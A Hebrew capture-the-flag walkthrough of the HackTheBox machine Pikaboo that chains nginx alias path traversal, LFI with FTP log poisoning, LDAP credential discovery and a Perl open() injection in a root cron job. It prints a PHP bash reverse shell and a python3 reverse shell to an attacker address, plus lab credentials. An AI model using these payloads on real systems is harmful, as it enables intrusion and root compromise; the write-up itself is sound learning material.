
- 

 

Pikaboo 

 קורן רוי מאת

 

 הקדמה

 הסבר הינה הביטים, ים תוך אל שנצלול לפני אך. HackTheBox-ב Pikaboo המכונה את נפתור זה במאמר

 מאוד ענף עולם הוא CTF-ה אתגרי עולם: HackTheBox של הקונספט על ובכלליות המכונות האתר, על קצר

 הינה המתמודד מטרת שבהם CTF אתגרי הינם HackTheBox אתגרי. CTF אתגרי סוגי של רב מספר ובו

 על קוד להריץ ביכולת ייגמר לא אתגר פרקטי, ובאופן למכונה," Full Compromise" לבצע( כלל בדרך)

 אם גבוהות, הרשאות עליה להשיג שיאפשרו פרצות לנצל ולהצליח בה לנבור צורך יש אלא מרחוק המכונה

 באפליקציות לוגים כשלים או מעודכנים לא בקרנלים פרצות מערכת, שירותי של ניצול באמצעות זה

 .עליה המותקנות

 כיווני את וגם שלי המחשבה דרך את אציג דבר, כל על ואפרט אסביר אני דאגה, אל בנושא שחדש מי כל

 .מהקריאה שניים או דבר שתלמדו סבור אני בנושא, שותיק מי כל. אותנו קידמו ולא חרס שהעלו המחקר

 

 

 

 

 

 

 

https://www.hackthebox.eu/
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  התהליך על רקע

 :שלבים 4 לנו יהיה hackthebox-ב מכונה על בתקיפה

 חיבור" 1 שלב VPN :"קובץ נקבל ovpn, ל דרכו נתחבר-vpn תקין שהכל ונבדוק. 

 2 שלב "Enumeration :"כמה נגלה. עובדת היא איך להבין וננסה המכונה על מידע נאסוף זה בשלב 

. לנצל שניתן אבטחה כשלי לחפש ובהם להתחבר יכולים אנחנו אליהם במערכת, המאזינים שירותים

 ללמוד היא המטרה. שלנו הלב תשומת את למקד צריך מהם במי נזהה הסריקה מתוצאות מכן, לאחר

 .למכונה לפריצה כניסה נקודת למצוא מנת על שדלינו במידע להשתמש כיצד

 3 שלב "User :"לנצל כיצד נבין. הכניסה נקודת את לנו יש המכונה, על יותר קריטי מידע קבלת לאחר 

 אחרי. שנקבל הרשאה בכל נסתפק זה בשלב במכונה, רגל דריסת להשיג כדי שזיהינו הפגיעות את

 .הבא לשלב נעבור לכן מדי יותר לעשות יכול שלא רגיל משתמש עם למכונה מחוברים נהיה זה שלב

 4 שלב "Privilege Escalation :",הבאה המטרה נמוכות, הרשאות בעל כמשתמש אחיזה לנו כשיש כעת 

 מנהל או Root הוא הלא ביותר, הגבוהות הזכויות בעל למשתמש ולהפוך להסלים היא שלנו והאחרונה

 לפריצה הזמן הגיע הבאה, החולשה את שנגלה ברגע. המכונה בתוך תורפה נקודות נחפש. מערכת

 ! יותר רצינית

 

 המכונה על פרטים

 קשה: קושי רמת 

 לינוקס: הפעלה מערכת 

 

 

 

 

 

 

 CTFלראות שנדרש לעשות מעט סריקות ושבסך הכל היא די מאוזנת )מבחינת כמה היא בסיגנון  אפשר

לאומרת כמה היא מדמה תרחיש מציאותי(, כמו כן היא לא מבוססת כולה על ניצול של איזשהי חולשה 

 (.CVEפומבית )

https://www.digitalwhisper.co.il/files/Zines/0x01/DW1-1-PrivilegeEscalation.pdf
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Connection 

 :הפקודה את נריץ, ovpn הקובץ את נוריד

openvpn vpn_file.ovpn 

 שאנחנו נבדוק מכן לאחר (.10.10.10.249) המכונה של ip-ה את נקבל. הפנימית לרשת להתחבר מנת על

 :פשוטה ping בדיקת נעשה לכן. המכונה עם לתקשר ויכולים מחוברים אכן

 

 !להתחיל אפשר תקין הכל כעת,! יופי

 

Enumeration 

 כך לטובת. חיצונית לתקשורת ומאזינים המכונה על מותקנים שירותים אילו לבדוק מעוניינים אנו זה בשלב

 מעניין מידע ועוד שם רצים סרביסים איזה פתוחים, פורטים למצוא כדי המכונה על nmap סריקת ניזום

 .לנו לעזור שיכול

nmap - באחד מדובר למעשה,. מחשבים ברשת ושירותים, פורטים לגילוי המשמש מידע, לאיסוף כלי הוא 

 ניתן nmap בעזרת. חדירה מבדק ביצוע בעת מכולם, החשוב לא אם ביותר, והמרכזיים החשובים הכלים

 ופורטים כגון מקדים, מידע עליה לקבל ובכך לתקוף רוצים אנו אותה הרשת של מקיפה סריקה לבצע

 סקריפטים עשרות עם נתונים מסד גם Nmap-ל זאת, לצד. ועוד ועוד וטכנולוגיות גרסאות זיהוי פתוחים,

 .היעד כלפי בפועל התקיפה בביצוע גם לנו לסייע שיכולים

 :הפקודה את נריץ

 nmap -sC -sV -p- 10.10.10.249 

 sC -  אומר ביצוע סריקת סקריפטים באמצעות סט ברירת המחדל של סקריפטים. בפשטות זה אומר

 שהסריקה שלנו תהיה יותר פולשנית ותנסה להשיג יותר מידע מבדרך כלל. 

 sV -  אומר שעל כל סרוויסnmap  ינסה למצוא לנו את הגרסה שלו, זה יעזור לנו אם יש תוכנה לא

 שיכול לעזור לנו. exploitמעודכנת ואז יתכן שיש 

 p - .אומר על איזה פורטים לבצע את הסריקה. אנחנו נרצה על כל הפורטים לכן נוסיף אחרי מקף 

 
  

https://nmap.org/
https://nmap.org/
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 :התוצאה נראית וכך

  

 :פתוחים פורטים 3 ונראה הסריקה על נסתכל

 21 פורט - ftp (מחשבים בין קבצים להעברת תקשורת פרוטוקול הוא) 

 22 פורט - ssh (מרוחק מחשב על פעולות ביצוע המאפשר מחשבים לתקשורת מאובטח פרוטוקול 

 (הזדהות תהליך לאחר

 08 פורט - http (אתר פה לנו יש בקיצור) 

 

FTP - Anonymous Login 

 יכויהס. anonymous:password: מחדל ברירת משתמש עם אליו להתחבר ננסה, ftp-ה, נבדוק את ראשית

 :לפעמים אנשים משאירים את המשתמש הזה פתוח אך, נמוך

 

 לא עושה רושם שמשם תבוא הישועה...
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WEB 

 , כך הוא נראה:לאתר נעבור

 

 

 שנראה כך: Pokatdex ף בשםוד ,עובד שלאאדמין, עמוד יצירת קשר  ףיש ד .הרבה פה אין
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 :admin-ה על הדף שלנסתכל 

 

", ולא admin:admin. ניסיתי סתם להכניס "המבוקש לדף לעבור כדי וסיסמא משתמש שם מבקש האתר

 הצלחתי להכנס, אך קיבלתי את השגיאה הבאה:

 

 לשורה לב תשימו אם :מעניין משהו פה קרהשגיאת הזדהות רגילה. אך חדי העין יבחינו ש -על פניו 

אנחנו הרי גלשנו  זה קצת מוזר, לא? .01 בפורט apache שרת שהעמוד הוגש ע"י לראות אפשר האחרונה

גם  מה !nginxהשרת טען שהוא בכלל  –אם אתם זוכרים  nmapובכלל, בתוצאת הסקירה של  80לפורט 

 היה בכלל סגור מבחוץ. 81שפורט 

 ומעביר המכונה של הפנימית בתקשורת הפועל reverse proxy-ב שימוש כאןמכאן אפשר להסיק שנעשה 

 תמודדיםאנו מ הנראה ככל, 01לשרת הפנימי שמאזין בפורט  80התקשורת החיצונית שמגיעה בפורט  את

 :כזה משהו עם

 

 

 על רצים כולם. (apache-ו vsftpd ,openssh ,nginx) השירותים כל של הגרסאות על עברתי זה בשלב

 . תועלת חסר הוא פומבי exploit שחיפוש כך, שלהם ביותר עדכניותה הגרסאות
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 יותר או פחות יש שם HackTricks לאתר הלכתי לכן עבד, לא שניסיתי דבר כל עצות, אובד די הייתי זה בשלב

  ...בהאקינג מוכר טריק או טכניקה כל

באתר על טריקים מוכרים  שערכתי מחיפוש ,(HTTP שרת) nginx עם רץ האתר כי ראינו nmap-ה בסריקת

 : הבא העניין את מצאתי ב nginx-ב

https://book.hacktricks.xyz/pentesting/pentesting-web/nginx#alias-lfi-misconfiguration 

 :הבא באופן nginx של הקונפיגורציה בקובץ לנתיב alias נגדיר שאם מסתבר

location /imgs { 

    alias /path/images/ 

} 

 :הבא באופן לאליו יגלוש ותוקף

/imgs../flag.txt 

 :הבא באופן URI-ה את ירכיב השרת

/path/images/../flag.txt 

 מה שיגרום לכך שיוגש קובץ מחוץ לתיקיה המקורית של הבקשה:

/path/flag.txt 

 !www-באופן הזה, תוקף יוכל לגשת לקבצים נוספים מהשרת, ואף לקבצים מחוץ לתיקיית ה

 

 !Fuzzing יאללה

 באמצעות לגשת אוכל נוספים מעניינים קבצים לאילו ולבדוק לנסות החלטתי העניין, את שהבנתי לאחר

 !wfuzz בעזרת מעניינים קבצים שם ונחפש אחורה אחת תיקייה נלך admin-מ. ל"הנ הוקטור

wfuzz - ל כלי הוא. רשימות בעזרת אינטרנט שרת בתוך וספריות, קבצים כגון מוסתר, תוכן לחיפוש כלי-

brute force ,ב הפרמטר את משנים בעיקר-url ב זה את לו לעשות רוצה שאתה-"FUZZ", קובץ מוסיפים 

wordlist זה לפי עליהם עובר והוא. 

 

 u - הכתובת url לפזז נרצה אותה 

 FUZZ - בכתובת נפזז בוא המקום הוא url  

 w - המילים את ניקח שממנה רשימת 

 sc - לקבל נרצה responses 200 רק שהם מהאתר  

  

https://book.hacktricks.xyz/
https://he.wikipedia.org/wiki/Nginx
https://book.hacktricks.xyz/pentesting/pentesting-web/nginx#alias-lfi-misconfiguration
https://wfuzz.readthedocs.io/en/latest/
https://wfuzz.readthedocs.io/en/latest/
https://developer.mozilla.org/en-US/docs/Web/HTTP/Status
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 :נראה זה וכך

 

 :קיבלנו שיש קובץ בכתובת

http://10.10.10.249/admin../server-status 

שנותן את הנתונים  HTML. מוצג דף למנהל למידע ולברור הביצועים של השרת בדף אשר מיועדמדובר 

 :קריאה בצורה השרת של הסטטיסטיים

 

http://10.10.10.249/admin../server-status
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 :הבאה השורה את נראה טוב לב נשים אם. לשרת בקשות היסטוריית של חלק יש הזה בקובץ

 

אנחנו רואים  !בתוכה יש קבצים אילו לראות נסהבואו נ, admin_staging בשם עמוד או תיקייה שיש ילינוג

 , ולכן אלו הקבצים שאחריהם נפזז:phpשהמערכת של האתר מבוססת 

 

 :index.php לקובץ ונראה שמצאנו כמה! נגלוש

 

ושמתי לב שכאשר אני הולך  Profile User מהלך השיטוט שלי באתר, ניגשתי לעמוד. במבטיח  נראה

 :הבא באופן אליו ניגשה המערכת, לעמוד זה

http://10.10.10.249/admin../admin_staging/index.php?page=user.php 
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 !Path Traversal-ואולי אפילו גם ל, LFI-לפוטנציאל  כאןיש ש רושם עושה

 על( PHP-ב include כגון) לדף קובץ מצרפת אשר בפונקציה שמשתמשת מערכת כאשר :מכיר שלא למי רקע קצת

 התכוון לא המקור שהמפתח קבצים לטעון לה לגרום לנסות ניתןבלא סינון,  אתמהמשתמש עושה ז קלט בסיס

 .אחרת אליהם לגשת יכולת( תוקפים, ובכך לגשת לממשקים או מידע שלא היה לנו )בתור שנטען

Path Traversal מקרה פרטי של  הינוLFI  הטוען לעמוד לגרום ובכך", ."-ו ”/“וניתן לנצלו כאשר אין סינון על התווים 

 . נוכחית בתיקיה נמצאים שאינם קבצים לטעון גם קבצים

 :הבא הנתיב אתנכניס  ללמש אם

http://10.10.10.249/admin../admin_staging/index.php?page=../../../etc/passwd 

 לגשת ובה etc לתיקיה להכנס מכן ולאחר התיקיות עץ במעלה תיקיות 3 ללכת יש"-כ מתפרסר הזה הנתיב

 .passwd לקובץ

 כזאת מתקפה כנגד הגנה פה יש כנראה .קיבלתי שגיאה –הסבר מעולה, אך כאשר ניסיתי לגשת לקובץ 

 !הזאת ההגנה את לעקוף ננסה

תקיפה המשתמש  וקטורלהתייחסות  בובאופן מפתיע ראיתי  ,LFIונחפש על  ושלנ האהוב לאתר נלך לכן

 לקובץ לנסות יכולים אנחנו !שלנו המכונה על פתוח גם שבמקרהשירות  - vsftpd-בלוגים של שרת ה

/var/log/vsftpd.log .קובץ זה log ב תוהפעיל היסטוריית את ששומר-ftp. 

 

https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/
https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-vsftpd-logs
https://book.hacktricks.xyz/pentesting-web/file-inclusion#via-vsftpd-logs
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RCE AS USER 

 RCE (של קיצור remote code execution )פקודות לבצע יכול תוקף לפיה התקפה כלומר מרחוק, קוד ביצוע 

  .אחר מישהו של במחשב מרחוק

 ניצול באמצעות זאת לעשות שנוכל רושם עושה כאן, לגופו מקרה וכל קוד הרצת להשיג דרכים הרבה יש

 !ftp-ה שרת של הלוגים את לקרוא יכולים שאנחנו העובדה

Log Poisoning - להשיג כדי משתמשים בה טכניקה reverse shell מפגיעות LFI .למתקפה לגרום מנת על 

ולנסות לטעון אותן  ftp-ה שרת של log לקובץ זדוניות רשומות להכניס להצליח צריכים אנחנו לעבוד

 שמצאנו קודם לכן. LFI-באמצעות פגיעות ה

 זאת לעשות כדי .reverse shell להשיג כדי באתר php קוד להזריק זה לעשות הולכים שאנחנו ה, מובפועל

 :השרת עם חיבור לנו שיוצרת פקודה שמריץ הבא הקוד את ניקח

<?php exec("/bin/bash -c 'bash -i > /dev/tcp/IP/PORT 0>&1'"); ?> 

, אז איך נוכל ftp-הבעיה היא שאין בידינו את הסיסמאות של משתמש ה .הלוג בקובץ לשתול ננסה ואותה

להתחבר? אם תציצו היטב בלוג תראו שזאת לא באמת בעיה, מפני שאנחנו שולטים בשם המשתמש, וגם 

 הוא נכתב! אפילו כאשר ההתחברות לא צלחה 
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 :שלנו הקוד את נזין שלנו משתמש השם את מבקש כשהוא ftp-ה את נפתח כעת

 

 :netcat בעזרת listener נפתח במקביל

 

 !השרת עם חיבור לנו יש ופלא הפלא, ו... באתר אותו נפתח לקובץ שלנו הקוד את שהזרקנו לאחר

 

-ההרשאות של שרת ה , לראשונה הצלחנו להריץ קוד שלנו על השרת, כעת אנחנו רצים עםכיף  איזה

Apache. 

 

Privilege Escalation 

 כרגע. root להצליח להריץ פקודות עם ההרשאות של המשתמש נרצה, השרת על shell שקיבלנומ כעת,

 .linpeas.shכלי בשם ב נשתמש לכן זאת לעשות איך חוט קצה אפילו לנו אין

linpeas.sh - עשוי אשר בה קורה ומה ההפעלה מערכת על מידע הרבה לנו נותן אשר סקריפט קובץ הוא 

 .יותר גבוהות הרשאות לקבל דרכים למצוא לנו לעזור

 
 .אותה לסרוק שנוכל כדי למכונה אותו להעביר נצטרך שלנו למחשב linpeas את שהורדנו לאחר ראשית

-ב פשוט http שרת להרים נוכל( vpn) המכונה עם ביחד הפנימית הרשת בתוך נמצאים שאנחנו מכיוון

python. 

 

 

https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
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 :wget הפקודה באמצעות שלנו הקובץ את ונוריד למכונה נלך מכן לאחר

 

 .הקובץ את נריץ ואז chmod בעזרת הרצה אפשרות לקובץ נביא המכונה, על linpeas לנו יש כאשר ת,כע

 :הבא הדבר את ונראה התוצאות על נעבור

 

 .ldap service-ל שייך שהוא נראה באינטרנט נחפש אם פתוח 303 שפורט לראות אפשר

ldap - התקשורת בפרוטוקול משתמש אשר גישה פרוטוקול זהו TCP/IP מתוך מידע ולאתר לסרוק מנת על 

 ידי על LDAP בחיבור השרת אל פונה הלקוח כאשר לקוח,/שרת על מבוסס LDAP של המודל. נתונים ספריות

 חיבור הפעלת למשל, לשרת, פעולה בקשות לשלוח יכול הלקוח מכן ולאחר ,303 פורט עם לשרת התחברות

 .ערכים או אובייקטיםל מחיקה או שינוי, הוספה, השוואה, חיפוש, משתמש, אימות ביצוע מאובטח,

 הנדרשת הפעולה את לבצע חייב השרת מכן ולאחר לבצע שברצונו הפעולה את הלקוח מגדיר בבקשה

 .שגיאות או התוצאות את המכילה תגובה מחזיר השרת מכן לאחר. במדריך

 :github פרויקט שיש לראות אפשר בנוסף

 

 /opt/pokeapi לתיקייה נכנס
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 לכן. מוכנה לא עדיין החדשה שהגרסה שאומר מה pokeapi-ל חדשה גרסה על שעובדים לראות אפשר

 .. .מהעבודה חלק זה אבל כיף ממש לא. רגיש מידע ולמצוא הקבצים על לעבור ננסה

 :ldap-ל התחברות פרטי מצאנו settings.py בקובץ config בתיקיה

 

 

 קטגורייה .hacktricks ...לגשת אפשר לאיפה יודעים כבר אתם, התחברותה פרטי את לנו שיש נראה אז

 :ldap של

https://book.hacktricks.xyz/pentesting/pentesting-ldap#ldapsearch 

 :הבאה הפקודה פי על במכונה משתמשים לקבל אפשרות לנו יש האתר לפי

ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b 

"CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>" 

 :הפקודה את ונריץ החסרים הפרטים את נמלא

ldapsearch -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -w 

'J~42%W?PFHl]g' -b 'dc=pikaboo,dc=htb'  
 

 :הפלט נראה כך! עבד וזה

 

 .מקודדת שהיא לראות שאפשר הסיסמא, ואת , pwnmeow :המשתמש שם את לנו יש

 

https://book.hacktricks.xyz/
https://book.hacktricks.xyz/pentesting/pentesting-ldap#ldapsearch
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נחמד בפייתון לקודד את המחרוזת טריק  הינה, Base64-ב שמדובר לנחש קל אז" =="-המחרוזת נגמרת ב

 בחזרה:

"X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==.decode(base64) 

 וזה הפלט:

_G0tT4_C4tcH_'3m_4lL_ 

 

 .גבוהות הכי ההרשאות את רוצים אנחנו מספיק לא עדיין זה אבל !pwnmeow למשתמש גישה לנו יש

 להפעלה לתאם יכולים שמשתמשים סקריפטים או תוכנות הן - crontab .פעיל crontab יש linpeas לפי

 .ההפעלה למערכת חודש כל תוכנה עדכון לעשות crontab-ב להשתמש אפשר למשל .ספציפיים בזמנים

 הקובץ את נקרארצים עם רמת אבטחה של הבעלים שלהם )המשתמש שיצר אותם(.  Jobs-ה

/etc/crontab (רצות הם זמן כמה וכל הפקודות רשימת את המכיל טקסט קובץ): 

 

 :csvupdate_cron הקובץ את נפתח !מעניין, root ידי על שנייה כל csvupdate_cron הקובץ רץ crontab לפי

 

 מבצע, וcsv סיומת עם , ומחפש קבציםftp-ב התיקיות כל על שעובר פשוט bash סקריפט רק שזה נראה

-כ reverse shell ליצור זה שלנו הסופית והמטרה root-כ רץ csvupdate-ש לנו ידוע .csvupdate את עליו

root ,מניפולציה איזושהי לעשות נצטרך לכן... 
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 csvupdate בשפה קובץ הוא perl (ארוך ממש הוא כי פה אותו אוסיף לא אני)הקובץ את, ו csvupdate לא 

 :הקובץ על נסתכל בואו אז. לכך הרשאות לנו אין כי לערוך נוכל

/usr/local/bin/csvupdate  

(. root)וכיצד!( נוכל לגרום לו לתת לנו להשיג הרצת קוד בקונטקסט שלו )והאם  עושה הוא מה להבין ננסה

 השורה מופיעה perl בקובץ .לעזור שיכול משהו מצאתי זמן הרבהבשלב זה חיפשתי לא מעט, ולאחר די 

 :הבאה

my $fname = "${csv_dir}/${type}.csv"; 

open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n"; 

 עושים מה רלוונטי לא) משהו עליו לעשות כדי csv קובץ לפתוח כדי open בפעולה משתמשים זה בקטע

 :הבא הדבר ימצאת באינטרנט חיפושים מעט לא אחרי, (עליו

https://stackoverflow.com/questions/26614348/perl-open-injection-prevention 

? כי למה !כפקודה הקובץ של לשם תמתייחס perl ,'|' בתו מתחיל הקובץ של השם כאשר כי שם מסבירים

 הכותבת אחרי ספציפית,) open הפונקציה עבור perl של הדוקומנציה את נבחן אם, פרל... סתם 

"Opening a filehandle into a command)", עובד זה למה להבין אפשר: 

"If MODE is |-, then the filename is interpreted as a command to which output is to be piped, and 

if MODE is -|, the filename is interpreted as a command that pipes output to us. In the two-

argument (and one-argument) form, one should replace dash (-) with the command.” 

 .הקובץ של handle-ל לשרשר שלה הפלט ואת פקודה לקבל מצפה perl הזה, במקרה

 בשביל open-ב השימוש על לקרוא לכם ממליץ אני הנושא, על הקריאה את להרחיב מעניינים אתם אם

 :הבא בקישור ,IPC תקשורת

https://perldoc.perl.org/perlipc#Using-open%28%29-for-IPC 

 נעלה. ממקודם שמצאנו pwnmeow המשתמש עם ftp-ל נתחבר: כך לפעול נוכל ל"הנ המידע בעקבות ולכן

 :( מגניב ככה - פשוט כמה. אותו יריץ csvupdate ואז. reverse shell היוצרת פקודה של בשם קובץ לשם

  

https://stackoverflow.com/questions/26614348/perl-open-injection-prevention
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/functions/open
https://perldoc.perl.org/perlipc#Using-open%28%29-for-IPC
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 :pwnmeow המשתמש עם ftp-ל נתחבר

 

 :ftp-ל להעביר שנוכל ריק קובץ ניצור

 

 :reverse shell לנו שתיצור לפקודה שלו השם שינוי עם ftp-ל אותו להעביר זה שנעשה מה וכעת

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Re

sources/Reverse%20Shell%20Cheatsheet.md#python 

 :חיבור לנו שיצור python-ב סקריפט מצאנו

python3 -c 'import 

os,pty,socket;s=socket.socket();s.connect(("10.10.14.120",1234));os.dup2

(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("\s

h\")' 

 קבצי רק מריץ csvupdate-ה כי csv. הסיומת פלוס לסקפריט שמו את ונשנה ftp-ל רגיל כקובץאותו  נכניס

csv: 

 

 :מהמכונה החיבור את לקבל שנוכל כדי listener נפתח זה בשלב

 

 !root בהרשאות shell לנו יש אלינו, התחבר השרת על netcat-ה! ובום

 

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#python
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 לסיכום

-ה קובץ את לגלות לנו שעזר nginx של alias-ב פגיעות עם path traversal עם התחלנו ?לנו היה מה אז

server-status, עם חדש אתר וגילינו לחפור המשכנו LFI המכונה על קבצים לקרוא לנו עזר אשר . 

 פרטי ומצאנו linpeas עם המכונה את סרקנו. (log poisoning) reverse shell להשיג כדי LFI-ב השתמשנו

 שלנו ההרשאות את העלינו איתם אשר perl open() injection-ו crontab-ל עברנו LDAP-ל התחברות

 על המכונה  rootוהשגנו 

 root-וה. RCE-ל שמוביל LFI-ב שנתקלתי ראשונה פעם ,Log Possinig-ה של אישית מאוד אהבתי את החלק

 . המכונה לעומק להיכנס ממש צריך שהיה מהסיבה קשה די היה

 היצירתיות יכולות את לי חידדה שהיא מרגיש אני וחדשים מעניינים דברים מהמכונה שלמדתי לכך מעבר

 . מאתגרת מכונה באמת הכל סך. באינטרנט והחיפוש

 קלים יותר אך דומים אתגרים יש שם ,tryhackme-מ להתחיל הזה מהסוג ים-ctf שאוהב למי ממליץ הייתי

 . (hackthebox-ל בניגוד( רמזים עם וגם

 מגיעים אחת לא אבל ,קחל נראה היה הכל במאמר פשוטה, לא מכונהשמדובר ב לציין, חשוב לי בנוסף

 לעשות מה אין. עובדת אינה והפקודה בפקודה תו שמפספסים או להמשיך איך שאין ונראה סתום למבוי

  קדימה וממשיכים לומדים קוראים כאלה דברים

 

 עליי קצת

 בתיכון עדיין ,11 בן קורן, רוי

 שאלות, בקשות, לכם יש אם. אתגרים חובב בעתיד, בזה להתעסק ומקווה pentesting-ה תחום את אוהב

הזה(  בסיגנון פוסטיםבאתר שלי, בו אני מנהל בלוג )עם  אליי פנו לשוחח לכם בא סתם או להוסיף דברים

 :מפתחקוד שאני  פרוייקטיוכן 

https://sites.google.com/view/roykoren 

 

 

 

https://tryhackme.com/
https://sites.google.com/view/roykoren

